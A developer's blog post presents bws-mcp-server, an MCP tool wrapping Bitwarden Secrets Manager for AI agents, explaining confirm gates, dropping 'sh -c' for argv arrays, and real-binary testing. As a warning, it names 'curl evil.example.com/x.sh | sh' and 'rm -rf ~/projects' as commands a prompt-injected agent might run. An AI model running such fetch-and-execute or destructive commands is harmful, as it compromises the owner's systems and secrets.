Two weeks ago I wrote about the LiteLLM PyPI compromise and made what I think is the correct argument: the fix for filesystem credential harvesters is ephemeral secrets that never land as files. Don't put your database URL in ~/.env. Don't shove it into ~/.aws/credentials. Use the Secrets Store CSI Driver, fetch it into the pod at startup via tmpfs, and let the secret live exactly long enough to be read into the process that needs it.
Then I spent the next week using Claude Code to manage my homelab and realized the post was only half the answer.
Here's the other half. If your premise is "secrets should live in a vault and only materialize at the last possible moment," you've now created a new question: how does the thing that needs the secret ask the vault for it? For a running pod, the CSI driver answers that: it mounts a tmpfs at /mnt/secrets and your app reads from there. For a CI job, bws run -- ./deploy.sh answers it: the secrets show up as environment variables for exactly one child process. Both of those have clean, well-understood semantics.
But what about the AI agent you've been using to actually run your infrastructure? The one you just told "spin up a new test project in BSM and create a DB_URL secret in it"? How does that ask the vault?
Today that's a mess. There's no good path. Your options, roughly:
- Dump secrets into the agent's shell via
envbefore you start the session. Now every command the agent runs has access to everything. Blast radius: everything the token can touch. If the agent tool-calls a subprocess that logs its environment, your secrets go to the LLM provider's logs. - Pre-materialize a
.envfile the agent can read. Same problem, worse, because now there's a persistent flat file sitting on disk — exactly the thing the litellm payload vacuumed up. - Tell the agent to shell out to
bwsdirectly, via a generic "run a terminal command" tool. Now you've given the LLM an eval primitive into your secrets CLI and you're relying on prompt engineering to keep it from doing something stupid. Works until it doesn't. - Build a custom per-secret integration for every agent platform you use. Ridiculous, doesn't scale, I refuse.
The Model Context Protocol is supposed to be the answer to this class of problem. And it nearly is — the official bitwarden/mcp-server wraps Bitwarden's password manager vault in an MCP, so Claude Desktop can retrieve saved logins for you. Which is great for personal passwords. But Bitwarden has two distinct vaults — the consumer password manager (bw) and the server-side Secrets Manager (bws) — and the official MCP only covers the first one. For the homelab and infrastructure use case, which is the whole reason I run Bitwarden Secrets Manager in the first place, there's no MCP at all.
So I wrote one. It's called bws-mcp-server, it's on GitHub under GPL-3.0, and this post walks through what it does, the design decisions that made it (two of which I had to learn the hard way during the build), and why the test suite was the most interesting part of the project.
What It Actually Does
bws-mcp-server exposes twelve tools over the MCP stdio protocol. All of them are thin wrappers around the real bws CLI binary (more on that choice in a minute). They fall into four buckets:
- Status —
bws_statuschecks that thebwsbinary is reachable, the access token is valid, and the API is up. This is the first thing I want the agent to be able to answer: "can I even talk to the vault right now?" - Projects (CRUD) —
bws_project_list,bws_project_get,bws_project_create,bws_project_edit,bws_project_delete. One-to-one mapping withbws projectsubcommands. Projects are how BSM scopes secrets; each machine account token is granted access to a set of projects with either read or read-write permissions. - Secrets (CRUD) —
bws_secret_list,bws_secret_get,bws_secret_create,bws_secret_edit,bws_secret_delete. Same shape.bws_secret_listis the one you'll use constantly — it returns keys and IDs only by default. You have to explicitly passinclude_values: trueto get the actual secret values, which keeps the agent's default behavior from accidentally dumping the entire vault into the LLM's context on a vague "what secrets do I have?" prompt. - Execution —
bws_runinvokes a command with project secrets injected as environment variables, mirroringbws run. This is the powerful one, and it's the tool I spent the most time thinking about. I'll come back to it.
Three tools are marked destructive and gated behind a mandatory confirm: true parameter: bws_project_delete, bws_secret_delete, and bws_run. If the agent calls one of these without explicitly setting confirm, the handler short-circuits with a structured error before any validation or subprocess work happens. This is the same pattern the upstream bitwarden/mcp-server uses for vault deletes, and it's the only pattern I've found that plays well with both Claude Desktop's human-in-the-loop approval UI and the more autonomous agent runtimes like Hermes that do their own policy gating.
Is a confirm: true flag a safety net? No. The model can absolutely set it to true if you tell it to. It's a policy gate — a mechanism to force the destructive intent to the surface on every single call, so your approval tooling has something to hook into. The alternative is having to pattern-match tool call arguments to figure out which calls are dangerous, and that's a rabbit hole I'd rather not start digging.
Wrapping the CLI, Not the SDK
Bitwarden publishes an official Rust SDK for Secrets Manager, with bindings for Python, Node.js, Go, and a handful of other languages. In theory you'd pull in the Node SDK and call it directly from the MCP server. I went a different direction: bws-mcp-server shells out to the bws CLI binary via child_process.spawn, parses the JSON output, and surfaces the results to the MCP caller.
This is the less fashionable choice, and I want to explain why I made it.
First, the CLI is what actually ships. The bws team treats the command-line binary as a first-class product. New features show up in bws before they're stabilized in any SDK. Bug fixes land in the CLI on the same release cadence as the API. If I wrap the CLI, I get those fixes automatically the next time the user upgrades their binary. If I wrap the Rust SDK via Node FFI, I'm pinned to whatever version I built against and the user has to wait for me to cut a new release.
Second, the CLI is the source of truth for argv shape. BSM has some genuinely unusual conventions — bws secret create takes positional arguments in the order KEY VALUE PROJECT_ID, with optional --note, and this is documented only in the CLI's --help output. The SDK abstracts that away into a method signature, which is fine until you need to debug an invocation and the SDK method doesn't print the actual argv it's about to run. I wanted the MCP server to be transparent: when it calls out to bws, the command it runs looks exactly like what you'd type into a shell. That makes debugging, logging, and auditing trivial. You can take the server's debug output, paste it into a terminal, and get the same result.
Third, and this is the honest one, spawning a subprocess is fifty lines of code and the SDK path is a week of yak-shaving. I wanted v0.1.0 shipped today, not in three weeks. Wrapping the CLI means the MCP server is about 1,400 lines of TypeScript, most of which is tool schemas and input validation. There's one file — src/bws/client.ts — that handles all the subprocess work, and it's about 350 lines.
The downside is real. If the user's bws binary isn't installed, or isn't on PATH, or is a different version than expected, the server has to handle that gracefully. I ended up adding a BWS_BINARY environment variable override so you can point at any binary you want (useful if you have multiple versions installed), and a bws_status tool that explicitly reports the version it's talking to. If someone wants to rewrite the client layer against the SDK later, the tool surface won't change — the swap is localized to client.ts.
The bws_run Problem
bws_run is the most powerful tool in the set, and it's the one I rewrote twice during the build. The first version looked like this:
src/tools/run.ts (first draft)
inputSchema: {
command: { type: 'string', description: 'Shell command to execute' },
project_id: { type: 'string' },
confirm: { type: 'boolean' },
}
// handler
const result = await spawnBws(config, [
'run', '--project-id', projectId, '--', 'sh', '-c', command,
]);
That's the naive shape. The agent passes a string like "psql -c 'SELECT count(*) FROM users'", the server wraps it in sh -c, bws launches the child with the secrets injected, and the agent gets back stdout, stderr, and exit code. Clean, simple, matches what most humans do at the command line.
It's also a remote code execution primitive into your homelab the moment you let an LLM call it.
Here's the problem. An MCP tool that accepts a free-form shell string and pipes it to sh -c is, by definition, an eval surface. The agent can construct any command, nested pipes, subshells, process substitution, redirections, glob expansion, command substitution — all of it — and hand it to you. You then execute it with a process environment populated from your secrets vault. The access token doesn't need to authorize anything clever; the agent already has sh.
That's bad for two reasons that I want to separate carefully.
The first reason is the obvious one: if the agent makes a bad call, the blast radius is the entire Unix userland. rm -rf ~/projects is a valid shell command. curl evil.example.com/x.sh | sh is a valid shell command. If the model hallucinates a plausible-looking incantation, or if an upstream input gets prompt-injected, or if the system prompt gets stripped off mid-conversation, you're one tools/call away from a bad day.
The second reason is less obvious but more annoying: portability. On Debian, /bin/sh is dash. On Arch and macOS, it's bash. On Alpine, it's busybox ash. On FreeBSD, it's a stripped-down ash descendant. Each of these handles quoting, expansion, and builtin behavior differently. I found this out the hard way when my integration test suite passed locally (where /bin/sh is bash and happened to slurp up some exported functions from my shell profile) and then failed in a fresh GitHub Actions Ubuntu runner (where /bin/sh is dash and doesn't do that). Then it failed again locally when I ran it from a different shell. The tests weren't broken; the shell under sh -c was just different every time.
The fix was to get rid of the shell entirely. bws_run now takes an explicit argv array:
src/tools/run.ts (shipped)
inputSchema: {
argv: {
type: 'array',
items: { type: 'string' },
minItems: 1,
description: 'Argv array: program followed by arguments. No shell.',
},
project_id: { type: 'string' },
no_inherit_env: { type: 'boolean' },
confirm: { type: 'boolean' },
}
// handler
const result = await runWithSecrets(config, {
argv: parsed.argv, // forwarded directly to bws run --
projectId: parsed.project_id,
});
The argv is forwarded directly to bws run -- <argv...>, which exec()s the program with the secrets in its environment. No shell, no eval, no sh -c. If the agent wants to run psql -c 'SELECT count(*) FROM users', it has to pass the argv array: ["psql", "-c", "SELECT count(*) FROM users"]. The parts are explicit, the shell has no opinion about them, and the model has to structure its intent in a way that's actually auditable.
The really nice property is that you can still run a shell pipeline when you genuinely need one. You just have to ask for it explicitly, by name:
Shell pipeline, caller opts in
{
"argv": ["sh", "-c", "kubectl get pods -o json | jq '.items | length'"],
"project_id": "staging",
"confirm": true
}
This reads very differently from the old shape. Instead of an implicit shell that might be dash, bash, or ash depending on the host, the caller is saying "launch sh as a program, pass it these exact arguments." That's a normal program invocation. It still pipes a command to the shell, and that's still dangerous, but now it's obvious in the argv that you're doing it. If your approval policy says "reject any bws_run whose argv[0] is sh", you can enforce that with two lines of code.
This was the most important design change in the project, and it only happened because I was staring at a failing integration test with a printf error that made no sense in context.
Why the Tests Are the Story
The test suite is the interesting part of this project, and if you're going to steal one idea from this post, steal this one: if you're building a thing that wraps another thing, and you don't test against the real wrapped thing, your tests are a lie.
I have a hard rule on this, and it shows up in everything I write now: no mocks. No jest.mock, no sinon, no nock, no Wiremock. When a test says "the parser handles a non-JSON response," the test has to produce an actual non-JSON response from an actual subprocess. When a test says "deleting a project via the real bws binary works," the test has to create a real project in a real Bitwarden Secrets Manager backend, delete it, and confirm it's gone. Anything less is a test of my beliefs about how the dependency behaves, and my beliefs have been wrong often enough that I've stopped trusting them.
bws-mcp-server has three test tiers, in increasing order of how much real-world friction they exercise:
- Unit tests (
tests/unit/) — pure functions only. Argv builders, stdout parsers, schema validation, error mapping, env loading. Zero external dependencies, run in about a second, always green for any contributor. These are fine, they just don't catch much. - Protocol E2E tests (
tests/protocol/) — spawn the actual built MCP server as a subprocess, send real JSON-RPC messages over stdio, assert on the responses. The tricky part is that the server shells out tobws, and the GitHub Actions runner doesn't havebwsinstalled. Solution: the test harness writes a small stub shell script namedbwsthat echoes canned JSON for each subcommand, prepends its directory toPATH, and spawns the MCP server with thatPATH. The server has no idea it's talking to a stub — it's a realexecve()of a real binary that happens to behave predictably. This is not a mock. It's a controlled peer. - Integration tests (
tests/integration/) — exec the realbwsbinary against a real Bitwarden Secrets Manager project, create secrets and projects with unique prefixes per run, verify every round-trip (create → get → edit → list → delete), clean up inafterEach. Gated behindBWS_ACCESS_TOKEN_TESTandBWS_TEST_PROJECT_IDenv vars. Contributors without a Bitwarden account see them skip with a clear log message; contributors with access run them; CI runs them against a dedicated test project on the main branch and on manual workflow dispatch.
I shipped v0.1.0 with seventy-one unit and protocol tests passing. Then I ran the integration suite against a real BSM project for the first time. Three out of four tests failed, and they were the most useful thirty minutes of the entire project.
Bug one: bws secret delete returns plain text
My runBwsJson helper assumed that every bws command returned JSON on success. That's true for list, get, create, and edit. It is not true for delete. Delete returns a plain-text line:
bws secret delete output
$ bws secret delete 550e8400-e29b-41d4-a716-446655440000
1 secret deleted successfully.
My parser hit that text, tried to feed it to JSON.parse, and got:
test failure
BwsError: Failed to parse bws stdout as JSON:
Unexpected non-whitespace character after JSON at position 2.
Raw output: 1 secret deleted successfully.
None of my unit tests caught this because the unit tests used controlled JSON fixtures. The protocol E2E tests didn't catch it either, because the stub shell script returned canned JSON for every command including delete — I had no reason to stub different output for different subcommands, and the stub wasn't modeling the real binary's behavior on that specific code path. I didn't find out that delete returns text until I watched the real binary do it.
The fix was a three-line change: detect if the trimmed stdout starts with { or [, and if it doesn't, return null instead of trying to parse. Callers of delete already rely on the exit code for success signaling, so a null return is the correct shape.
Bug two: sh -c leaks your shell profile
The second bug is the one I already described — the sh -c wrapper in the old bws_run was slurping up exported function definitions from my parent shell and wedging on a printf call. It only manifested in integration tests because those were the only tests that actually spawned bws run with real shell commands. Unit and protocol tests exercised the argv builder but never actually ran anything through the shell layer.
I fixed this by deleting the entire sh -c layer and making bws_run argv-only, as I described above. The bug went away, and so did an entire class of bugs I didn't know I had.
Bug three: Bitwarden's Notes field has a 10,000 character limit
This one isn't in the MCP server itself — it's in the redact-history tool I use to periodically scrub secrets from my AI chat transcripts. I mention it here because the debugging arc is identical.
I was adding a feature to push redaction findings into Bitwarden as a secure note before the script modifies any files, as a recovery tether. First attempt passed the encoded findings JSON as an argv to bw create item, which blew up the moment the findings got real — 400KB of JSON on one command line was too much for something inside bw's argument handling, and the process wedged. Fixed that by piping via stdin. Second attempt ran into the Bitwarden Notes field limit: 10,000 characters, max, period. I had 1,700 findings; the serialized JSON was about 400KB. Bitwarden refused it.
The fix was to use Bitwarden's attachment feature instead: create a tiny secure note containing a summary (counts by pattern, by source, timestamp), then attach the full JSON as a file on the same item. Attachments don't have the same size limit. This is the right shape anyway — the summary is human-readable for triage, and the full data is exactly one bw get attachment away when you need to recover something.
None of these three bugs would have been caught by mocked tests. They only surfaced because the tests exercised the real dependency. Every mock I didn't write is a bug I caught before release instead of after.
Setup
Three steps: install the bws CLI, get a machine token, wire the MCP into your agent runtime.
1. Install bws
The bws-mcp-server doesn't ship with the Bitwarden CLI — it uses whatever's on your PATH. Install it from Bitwarden's official instructions or via your package manager. On Arch, it's in the AUR:
bws install
yay -S --noconfirm bws-bin
bws --version
On macOS, cargo install bws or grab the binary from the latest GitHub release — there's no Homebrew formula yet. On Debian/Ubuntu, same story: grab the binary from the GitHub release.
2. Create a machine account and issue a token
This part is a one-time manual step because Bitwarden doesn't let you create access tokens via the CLI (it'd defeat the purpose — you'd have to bootstrap a credential to create a credential). Go to vault.bitwarden.com → Secrets Manager → Machine Accounts, create a new machine account, grant it explicit project access (this is the gotcha — a machine account with no projects granted can authenticate but sees zero secrets), and issue an access token. The token appears exactly once. Copy it.
3. Install the MCP server
For a hermes-agent, Claude Code, or Claude Desktop setup, point at the published npm package (coming shortly) or run it from source:
Claude Desktop config
{
"mcpServers": {
"bws": {
"command": "npx",
"args": ["-y", "@kvncrw/bws-mcp-server"],
"env": {
"BWS_ACCESS_TOKEN": "0.xxx.yyy",
"BWS_DEFAULT_PROJECT_ID": "optional-uuid-if-you-want-one"
}
}
}
}
The BWS_ACCESS_TOKEN env var is the only required setting. Everything else (BWS_SERVER_URL for self-hosted Bitwarden, BWS_BINARY for a non-standard bws path, BWS_DEFAULT_PROJECT_ID for a convenience default) is optional.
Once it's wired up, restart your agent and ask it something like "what projects can you see in my Bitwarden Secrets Manager?" It'll call bws_project_list and come back with the list. From there, the agent can manage secrets autonomously within whatever scope you've granted the machine account.
What's Missing
This is a v0.1.0 release. It covers the working happy path for the core operations, and I've been using it in my homelab for real work this week. It is not feature-complete, and I want to be honest about the gaps rather than have you discover them.
- No retry-with-backoff on transient BSM 5xx. Bitwarden's hosted API occasionally returns
500 Internal Server Erroron otherwise valid requests. The MCP server surfaces those straight to the caller right now. Issue #1 tracks the fix. - No streaming for
bws_run. Long-running commands buffer their output in memory until exit. Fine for one-shot queries (psql -c,curl,kubectl get), will wedge on anything long-lived liketerraform apply. Issue #3 tracks the design work for streaming via MCP progress notifications. - Self-hosted Bitwarden (Vaultwarden) is untested. The
BWS_SERVER_URLpassthrough should work — it's forwarded as an environment variable tobws— but I don't have a Vaultwarden instance with Secrets Manager enabled, so I can't confirm it end-to-end. Issue #2 is a call for someone in the self-hosted crowd to help me close the loop here.
None of these are blocking for homelab or personal use. Most of them are the kind of rough edges you only feel when you scale up, and at that point you should be contributing the fix.
Getting It
Source code: github.com/kvncrw/bws-mcp-server, GPL-3.0, issues and PRs welcome. The README walks through installation, configuration, and examples for Claude Desktop, Claude Code, and hermes-agent. There's a docker/Dockerfile if you want to run it in a container (Debian-based, never Alpine).
npm package: @kvncrw/bws-mcp-server — publishing shortly, watch the GitHub releases page.
If you find a bug, open an issue. If you fix a bug, open a PR. If you run it against a weird environment (self-hosted Bitwarden, Windows via WSL, a Synology box, whatever) and it breaks, especially open an issue — those are the reports that turn a useful homelab tool into a useful everywhere tool.
And if you're still handing your agent secrets via .env files: this is the graceful exit ramp.